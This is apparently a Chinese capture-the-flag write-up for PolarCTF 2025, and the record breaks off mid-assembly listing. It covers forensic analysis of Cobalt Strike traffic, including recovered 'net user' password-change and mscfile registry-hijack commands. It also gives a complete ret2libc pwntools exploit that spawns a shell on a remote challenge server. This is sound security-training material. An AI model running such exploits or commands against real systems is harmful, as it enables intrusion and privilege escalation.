{"id":303,"date":"2025-03-23T16:00:39","date_gmt":"2025-03-23T08:00:39","guid":{"rendered":"http:\/\/www.okabe.xin\/?p=303"},"modified":"2025-03-23T16:00:39","modified_gmt":"2025-03-23T08:00:39","slug":"polar%e9%83%a8%e5%88%86%e5%a4%8d%e7%8e%b0","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=303","title":{"rendered":"polar\u90e8\u5206\u590d\u73b0"},"content":{"rendered":"\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS1<\/h4>\n\n\n\n<p><em>\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 1.\u53d7\u63a7\u673a\u5668\u6728\u9a6c\u7684\u56de\u8fde\u7684ip\u5730\u5740\u548c\u7aef\u53e3\u662f\uff1f\uff08flag{ip:\u7aef\u53e3}\uff09 \u9644\u4ef6\u94fe\u63a5: <a href=\"https:\/\/pan.baidu.com\/s\/1fMHp1Rp0GazByyLNXZPN1A?pwd=ytjk\">https:\/\/pan.baidu.com\/s\/1fMHp1Rp0GazByyLNXZPN1A?pwd=ytjk<\/a> \u9898\u76eeWinCS1~6\u5171\u7528\u4e00\u4e2a\u9644\u4ef6 \u89e3\u538b\u5bc6\u7801\uff1a111f56127c28eb148ec8d64e48c75484 ps\uff1a\u5a01\u80c1\u68c0\u6d4b\u4e0e\u7f51\u7edc\u6d41\u91cf\u5206\u6790\u9898\u76ee\u6682\u65f6\u653eMISC\u6a21\u5757<\/em><\/p>\n\n\n\n<p>\u627e\u5230\u5f02\u5e38\u6d41<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322191440406-1024x576.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"576\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322191440406-1024x576.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-309\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u68c0\u67e5IP\u53ca\u7aef\u53e3<\/p>\n\n\n\n<p>\u62ff\u5230flag<\/p>\n\n\n\n<p>flag{61.139.2.139:80}<\/p>\n\n\n\n<p>\u6cd5\u4e8c\uff1a<\/p>\n\n\n\n<p>\u5728\u865a\u62df\u673a\u4e2d\u627e\u5230\u6076\u610f\u7a0b\u5e8f<\/p>\n\n\n\n<p>\u7528\u6c99\u7bb1<\/p>\n\n\n\n<p>\u62ff\u5230\u56de\u8fdeip\u53ca\u7aef\u53e3<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322201337368-1024x304.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"304\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322201337368-1024x304.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-308\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS2<\/h4>\n\n\n\n<p><em>\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 2.\u5206\u6790\u6d41\u91cf\u4fe1\u606f\uff0c\u653b\u51fb\u8005\u5c1d\u8bd5\u4fee\u6539\u7684jhon\u8d26\u6237\u5bc6\u7801\u662f\u4ec0\u4e48\uff1f\uff08flag{password}\uff09<\/em><\/p>\n\n\n\n<p>\u5bf9\u6d41\u91cf\u7ee7\u7eed\u8fdb\u884c\u5206\u6790<\/p>\n\n\n\n<p>\u6d41\u91cf\u540d\u79f0\u4e3acs_rush.pcapng<\/p>\n\n\n\n<p>\u6000\u7591\u5c31\u662f\u8003\u5bdfcs\u6d41\u91cf\u5206\u6790<\/p>\n\n\n\n<p>\u627e\u5230\u7591\u4f3cCS\u7279\u5f81\u6d41\u91cf<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">17  4.030494406 61.139.2.145    61.139.2.139    HTTP    222 GET \/4Mht HTTP\/1.1 <\/pre>\n\n\n\n<p>\u7528NetA\u5206\u6790CS\u6d41\u91cf<\/p>\n\n\n\n<p>\u56e0\u4e3a\u662fCS\u6d41\u91cf<\/p>\n\n\n\n<p>\u6240\u4ee5\u8fd8\u9700\u8981\u627e\u5230\u4e00\u4e2a\u5bc6\u94a5\u6587\u4ef6<\/p>\n\n\n\n<p>\u5728\u6302\u8f7d\u7535\u8111\u955c\u50cf\u65f6<\/p>\n\n\n\n<p>\u548c\u6728\u9a6cexe\u540c\u76ee\u5f55\u4e0b\u5b58\u5728\u4e24\u5f20\u610f\u4e49\u4e0d\u660e\u7684\u660e\u65e5\u9999\u56fe\u7247<\/p>\n\n\n\n<p>010\u6253\u5f00\uff0c\u7ffb\u5230\u4e24\u56fe\u7247\u7684\u672b\u5c3e<\/p>\n\n\n\n<p>\u5728010\u7684\u5206\u5757\u6d82\u8272\u529f\u80fd\u4e0b\u6709\u5f88\u660e\u663e\u7684\u62fc\u63a5\u75d5\u8ff9<\/p>\n\n\n\n<p>\u53d1\u73b0\u662f\u4e00\u4e2a\u538b\u7f29\u5305\u6587\u4ef6\u88ab\u4eba\u4e3a\u5207\u65ad\u6210\u4e86\u4e24\u4efd<\/p>\n\n\n\n<p>\u5c06\u4e24\u4efd\u6587\u4ef6\u62fc\u63a5\u597d<\/p>\n\n\n\n<p>\u62ff\u5230\u5b8c\u6574\u7684\u65b0\u7684\u538b\u7f29\u5305<\/p>\n\n\n\n<p>\u538b\u7f29\u5305\u7684\u5185\u5bb9\u89e3\u538b\u540e\u5c31\u662f\u5bc6\u94a5\u6587\u4ef6<\/p>\n\n\n\n<p>\u9009\u62e9\u8fd9\u4e2a\u5bc6\u94a5\u6587\u4ef6\u7528NetA\u8fdb\u884cCS\u6d41\u91cf\u5206\u6790<\/p>\n\n\n\n<p>\u7136\u540e\u641c\u7d22\u5173\u952e\u8bcd<\/p>\n\n\n\n<p>jhon<\/p>\n\n\n\n<p>\u627e\u5230<\/p>\n\n\n\n<p>C net user jhon P@ssW0rd@123<\/p>\n\n\n\n<p>\u5219\u5bc6\u7801\u5c31\u662f<\/p>\n\n\n\n<p>P@ssW0rd@123<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS3<\/h4>\n\n\n\n<p><em>\u30102025\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 3.\u5206\u6790\u6d41\u91cf\u5f53\u4e2d\uff0c\u653b\u51fb\u8005\u67e5\u770b\u7684\u6587\u4ef6\u4e2dflag\u5185\u5bb9\u662f\u4ec0\u4e48\uff1f<\/em><\/p>\n\n\n\n<p>\u4ecd\u7136\u662fNetA\u5206\u6790<\/p>\n\n\n\n<p>\u5173\u952e\u5b57\u641c\u7d22flag<\/p>\n\n\n\n<p>\u62ff\u5230<\/p>\n\n\n\n<p>flag{31975589df49e6ce84853be7582549f4}<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS4<\/h4>\n\n\n\n<p><em>\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 4.\u653b\u51fb\u8005\u5728\u653b\u51fb\u8fc7\u7a0b\u5f53\u4e2d\u4fee\u6539\u8fc7\u7684\u6ce8\u518c\u8868\u76ee\u5f55\u662f\u4ec0\u4e48\uff1f\uff08\u7ed3\u679c\u8fdb\u884cMD5\u52a0\u5bc6\uff09<\/em><\/p>\n\n\n\n<p>\u4ecd\u7136\u662f\u5173\u952e\u5b57\u641c\u7d22<\/p>\n\n\n\n<p>reg<\/p>\n\n\n\n<p>C reg add HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command<\/p>\n\n\n\n<p>\u5bf9\u540e\u9762\u90e8\u5206\u8fdb\u884cmd5\u52a0\u5bc6\u5373\u53ef<\/p>\n\n\n\n<p>HKEY_CURRENT_USER\\Software\\Classes\\mscfile\\shell\\open\\command<\/p>\n\n\n\n<p>&#8212;&gt;md5<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS5<\/h4>\n\n\n\n<p><em>\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 5.\u53d7\u63a7\u673a\u5f53\u4e2d\u52a0\u5bc6\u6587\u4ef6\u7684\u5185\u5bb9\u662f\u4ec0\u4e48\uff1f<\/em><\/p>\n\n\n\n<p>\u52a0\u5bc6\u6587\u4ef6\u5b9e\u4e3a\u548c\u6728\u9a6c\u6587\u4ef6\u540c\u4e00\u76ee\u5f55\u4e0b\u7684\u538b\u7f29\u5305<\/p>\n\n\n\n<p>\u5728flag\u5173\u952e\u8bcd\u641c\u7d22\u7684\u65c1\u8fb9<\/p>\n\n\n\n<p>\u6709\u4e00\u4e2a\u5f88\u8ba9\u4eba\u5728\u610f\u7684\u5730\u65b9<\/p>\n\n\n\n<p>[+] \u5305\u5e8f\u53f7\u30102481\u3011\u89e3\u5bc6\u7ed3\u679c\uff1aflag{31975589df49e6ce84853be7582549f4} passkey is PolarCTF@2025Spring<\/p>\n\n\n\n<p>passkey<\/p>\n\n\n\n<p>\u731c\u6d4b\u540e\u9762\u7684\u5185\u5bb9\u5c31\u662f\u538b\u7f29\u5305\u5bc6\u7801<\/p>\n\n\n\n<p>\u89e3\u5bc6\uff0c\u62ff\u5230\u538b\u7f29\u5305\u5185\u5bb9<\/p>\n\n\n\n<p>flag{fc51bd0633d256f2dcbe282efa205c3a}<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011WinCS6<\/h4>\n\n\n\n<p><em>\u30102025\u5e74\u6625\u5b63\u4e2a\u4eba\u6311\u6218\u8d5b\u3011 6.\u53d7\u63a7\u673a\u6728\u9a6c\u7684\u81ea\u542f\u52a8\u6587\u4ef6\u8def\u5f84\u662f\u4ec0\u4e48\uff1f\uff08\u7ed3\u679c\u8fdb\u884cMD5\u52a0\u5bc6\uff09<\/em><\/p>\n\n\n\n<p>\u5728\u6302\u8f7d\u673a\u4e0a\u627e<\/p>\n\n\n\n<p>\u7528\u6302\u8f7d\u673a\u7684\u8ba1\u7b97\u673a\u7ba1\u7406\u680f\u8fdb\u884c\u67e5\u627e<\/p>\n\n\n\n<p>\u6700\u7ec8\u627e\u5230\u4e00\u4e2a\u53ef\u7591\u9879<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323132712581.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"983\" height=\"712\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323132712581.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-306\"  sizes=\"auto, (max-width: 983px) 100vw, 983px\" \/><\/div><\/figure>\n\n\n\n<p>\u8ddf\u8fdb\u8fd9\u4e2a\u76ee\u5f55<\/p>\n\n\n\n<p>\u5bf9\u8fd9\u4e2a\u6587\u4ef6\u901a\u8fc7\u7f16\u8f91\u7684\u65b9\u5f0f\u8fdb\u884c\u67e5\u770b\u5185\u5bb9<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323132836369-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323132836369-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-307\"\/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u542f\u52a8\u7684\u8fdb\u7a0b\u5c31\u662f\u6728\u9a6c\u6587\u4ef6<\/p>\n\n\n\n<p>\u5c06\u8fd9\u4e2a\u6587\u4ef6\u7684\u8def\u5f84\u901a\u8fc7md5\u52a0\u5bc6\u5373\u53ef<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011find<\/h4>\n\n\n\n<p>\u662f\u4e2axlsx\u6587\u4ef6<\/p>\n\n\n\n<p>\u90e8\u5206\u8868\u683c\u5b58\u5728\u52a0\u7c97<\/p>\n\n\n\n<p>\u90e8\u5206\u6ca1\u6709<\/p>\n\n\n\n<p>\u7528\u66ff\u6362\u529f\u80fd<\/p>\n\n\n\n<p>\u7528\u9ed1\u8272\u6807\u51fa\u52a0\u7c97\u4f4d\u7f6e<\/p>\n\n\n\n<p>\u7136\u540e\u4fee\u6539\u5bbd\u9ad8\u4f7f\u5f97\u56fe\u50cf\u76f4\u89c2<\/p>\n\n\n\n<p>\u62ff\u5230\u6700\u7ec8\u6548\u679c<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323135111688-1024x611.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"611\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250323135111688-1024x611.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-304\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u62ff\u53bb\u626b\u63cf\u62ff\u5230flag<\/p>\n\n\n\n<p>flag{11be65d59abc1b45ad8b9cc1e695a016}<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010MISC\u3011\u53ef\u8001\u5e08\u7b7e\u5230<\/h4>\n\n\n\n<p>\u4e0b\u8f7d\u9644\u4ef6\uff0c\u662f\u4e2a\u89c6\u89c9\u5c0f\u8bf4\u7c7b\u578b\u7684\u6e38\u620f\u6837\u5f0f\u7684\u9644\u4ef6<\/p>\n\n\n\n<p>\u7ed3\u679c\u662f\u516c\u4f17\u53f7\u7b7e\u5230<\/p>\n\n\n\n<p>\u8f93\u5165flagflag\u62ff\u5230flag<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322191925563.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"592\" height=\"526\" data-original=\"https:\/\/www.okabe.xin\/wordpress\/wp-content\/uploads\/2025\/03\/image-20250322191925563.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-305\"  sizes=\"auto, (max-width: 592px) 100vw, 592px\" \/><\/div><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010PWN\u3011libc<\/h4>\n\n\n\n<p>\u677f\u5b50\u9898\uff0c\u586b\u677f\u5b50<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>from pwn import *<br>from LibcSearcher import *<br>\u200b<br>io = remote('1.95.36.136', 2137)<br># io = process(\".\/pwn\")<br>elf = ELF('.\/polar_pwn1')<br># libc= ELF(elf.libc.path)<br>\u200b<br>main_add = 0x08048591<br>puts_got = elf.got&#91;'puts']<br>puts_plt = elf.plt&#91;'puts']<br>\u200b<br>print(\"Puts_got: \", hex(puts_got))<br>print(\"Puts_plt: \", hex(puts_plt))<br>\u200b<br>offset = 0x3A<br>\u200b<br>payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)<br>io.sendafter(b'like', payload1)<br>puts_addr = u32(io.recvuntil(b'\\xf7')&#91;-4:])<br>print(\"Puts_addr: \", hex(puts_addr))<br>\u200b<br>libc = LibcSearcher('puts', puts_addr) &nbsp;# libc6-i386_2.27-3ubuntu1_amd64<br>\u200b<br>libc_base = puts_addr - libc.dump('puts')<br>system_add = libc_base + libc.dump('system')<br>bin_sh_add = libc_base + libc.dump('str_bin_sh')<br>\u200b<br># libc_base = puts_addr - libc.symbols&#91;'puts']<br># system_add = libc_base + libc.symbols&#91;'system']<br># bin_sh_add = libc_base + next(libc.search(b'\/bin\/sh'))<br>\u200b<br>payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)<br>\u200b<br>io.sendafter(b'like', payload2)<br>\u200b<br>io.interactive()<\/code><\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">\u3010PWN\u3011koi<\/h4>\n\n\n\n<p>64\u4f4d<\/p>\n\n\n\n<p>main\u51fd\u6570\u5206\u6790<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">int __fastcall main(int argc, const char **argv, const char **envp)<br>{<br> &nbsp;int v4; \/\/ [rsp+5Ch] [rbp-4h] BYREF<br>\u200b<br> &nbsp;init(argc, argv, envp);<br> &nbsp;v4 = 0;<br> &nbsp;printf(\"choose your challenge\\n:\");<br> &nbsp;puts(\"1.write shell\");<br> &nbsp;puts(\"2.use shell\");<br> &nbsp;puts(\"3.exif\");<br> &nbsp;__isoc99_scanf(\"%d\", &amp;v4);<br> &nbsp;switch ( v4 )<br>  {<br> &nbsp; &nbsp;case 1:<br> &nbsp; &nbsp; &nbsp;wrshell();<br> &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp;case 2:<br> &nbsp; &nbsp; &nbsp;usshell();<br> &nbsp; &nbsp; &nbsp;break;<br> &nbsp; &nbsp;case 3:<br> &nbsp; &nbsp; &nbsp;exif();<br> &nbsp; &nbsp; &nbsp;break;<br>  }<br> &nbsp;puts(\"Enter a:\");<br> &nbsp;__isoc99_scanf(\"%d\", &amp;v4);<br> &nbsp;if ( v4 == 520 &amp;&amp; n == 520 )<br>  {<br> &nbsp; &nbsp;puts(\"GOOD\");<br> &nbsp; &nbsp;xxx();<br>  }<br> &nbsp;else<br>  {<br> &nbsp; &nbsp;puts(\"Bless you\");<br>  }<br> &nbsp;return 0;<br>}<\/pre>\n\n\n\n<p>\u8fd9\u91cc\u8981\u5148\u8fdb\u884c\u9009\u62e9<\/p>\n\n\n\n<p>\u5148\u8fdb\u5165\u5230wrshell\u51fd\u6570\u770b\u770b<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>int wrshell()<br>{<br> &nbsp;int v1; \/\/ &#91;rsp+8h] &#91;rbp-58h] BYREF<br> &nbsp;int v2; \/\/ &#91;rsp+Ch] &#91;rbp-54h] BYREF<br> &nbsp;_BYTE buf&#91;80]; \/\/ &#91;rsp+10h] &#91;rbp-50h] BYREF<br>\u200b<br> &nbsp;v2 = 0;<br> &nbsp;v1 = 0;<br> &nbsp;puts(\"Enter number:\");<br> &nbsp;__isoc99_scanf(\"%d\", &amp;v1);<br> &nbsp;printf(\"size:\");<br> &nbsp;__isoc99_scanf(\"%d\", &amp;v2);<br> &nbsp;puts(\"Enter sehll:\");<br> &nbsp;read(0, buf, 0x58uLL);<br> &nbsp;return puts(\"success\");<br>}<\/code><\/pre>\n\n\n\n<p>wrshell\u51fd\u6570\u8fd9\u91cc\u5b58\u5728\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n<p>\u4f46\u662f\u8fd9\u91ccbuf\u5230\u6808\u5e95\u7684\u4f4d\u7f6e\u53c8\u5230\u4e0d\u4e86read<\/p>\n\n\n\n<p>\u4e00\u4e2a0x50\u4e00\u4e2a0x58\uff0c\u4e0d\u591f\u7684<\/p>\n\n\n\n<p>\u518d\u4f9d\u6b21\u7ee7\u7eed\u770b\u5176\u4ed6\u9009\u9879\u5bf9\u5e94\u7684\u51fd\u6570<\/p>\n\n\n\n<p>\u53d1\u73b0\u90fd\u6ca1\u4ec0\u4e48\u95ee\u9898<\/p>\n\n\n\n<p>\u7ee7\u7eed\u5206\u6790main\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>if ( v4 == 520 &amp;&amp; n == 520 )<\/code><\/pre>\n\n\n\n<p>\u8fd9\u4e2a\u5224\u65ad\u8bed\u53e5\u5224\u65ad\u4e3a\u771f\u65f6\uff0c\u4f1a\u8fdb\u5165\u5230xxx\u51fd\u6570<\/p>\n\n\n\n<p>\u8ddf\u8fdbxxx\u51fd\u6570<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssize_t xxx()<br>{<br> &nbsp;_BYTE buf&#91;80]; \/\/ &#91;rsp+0h] &#91;rbp-50h] BYREF<br>\u200b<br> &nbsp;puts(\"Welcome to Polar CTF!\\n\");<br> &nbsp;return read(0, buf, 0x150uLL);<br>}<\/code><\/pre>\n\n\n\n<p>\u8fd9\u91cc\u540c\u6837\u5b58\u5728\u4e00\u4e2a\u5f88\u660e\u663e\u7684\u6808\u6ea2\u51fa<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>.text:00000000004007DA var_4 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; = dword ptr -4<br>.text:00000000004007DA<br>.text:00000000004007DA ; __unwind {<br>.text:00000000004007DA &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; push &nbsp; &nbsp;rbp<br>.text:00000000004007DB &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rbp, rsp<br>.text:00000000004007DE &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; sub &nbsp; &nbsp; rsp, 60h<br>.text:00000000004007E2 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<br>.text:00000000004007E7 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;init<br>.text:00000000004007EC &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; &#91;rbp+var_4], 0<br>.text:00000000004007F3 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, offset format ; \"choose your challenge\\n:\"<br>.text:00000000004007F8 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<br>.text:00000000004007FD &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_printf<br>.text:0000000000400802 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, offset s &nbsp; ; \"1.write shell\"<br>.text:0000000000400807 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_puts<br>.text:000000000040080C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, offset a2UseShell ; \"2.use shell\"<br>.text:0000000000400811 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_puts<br>.text:0000000000400816 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, offset a3Exif ; \"3.exif\"<br>.text:000000000040081B &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;_puts<br>.text:0000000000400820 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; lea &nbsp; &nbsp; rax, &#91;rbp+var_4]<br>.text:0000000000400824 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; rsi, rax<br>.text:0000000000400827 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; edi, offset aD  ; \"%d\"<br>.text:000000000040082C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<br>.text:0000000000400831 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;___isoc99_scanf<br>.text:0000000000400836 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, &#91;rbp+var_4]<br>.text:0000000000400839 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; cmp &nbsp; &nbsp; eax, 1<br>.text:000000000040083C &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jnz &nbsp; &nbsp; short loc_40084A<br>.text:000000000040083E &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mov &nbsp; &nbsp; eax, 0<br>.text:0000000000400843 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; call &nbsp; &nbsp;wrshell<br>.text:0000000000400848 &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; jmp &nbsp; &nbsp; short 